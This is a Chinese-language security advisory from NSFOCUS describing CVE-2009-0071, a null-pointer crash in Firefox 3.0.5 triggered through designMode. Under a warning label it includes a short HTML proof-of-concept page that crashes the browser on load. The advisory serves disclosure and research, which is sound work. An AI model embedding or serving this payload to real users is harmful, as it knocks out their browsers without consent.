安全研究

安全漏洞
Mozilla Firefox designMode空指针引用拒绝服务漏洞

发布日期：2008-09-24
更新日期：2009-01-09

受影响系统：
Mozilla Firefox 3.0.5
描述：
BUGTRAQ  ID: 33154
CVE(CAN) ID: CVE-2009-0071

Firefox是一款非常流行的开放源码WEB浏览器。

如果启用了designMode的话，则用户通过Firefox访问恶意网页时就可能通过某些replaceChild或removeChild调用及之后的queryCommandValue、queryCommandState或queryCommandIndeterm调用触发空指针引用，导致浏览器崩溃。

<*来源：SkyLined
  
  链接：https://bugzilla.mozilla.org/show_bug.cgi?format=multiple&id=472507
        https://bugzilla.mozilla.org/show_bug.cgi?format=multiple&id=456727
*>

测试方法：

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<BODY onload="
document.designMode='on';
document.replaceChild(document.createElement('HTML'), document.firstChild);
document.queryCommandValue('backcolor');
">

建议：
厂商补丁：

Mozilla
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.mozilla.org/

浏览次数：2663
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障
关于我们
公司介绍
公司荣誉
公司新闻
联系我们
公司总部
分支机构
海外机构
快速链接
绿盟云
绿盟威胁情报中心NTI
技术博客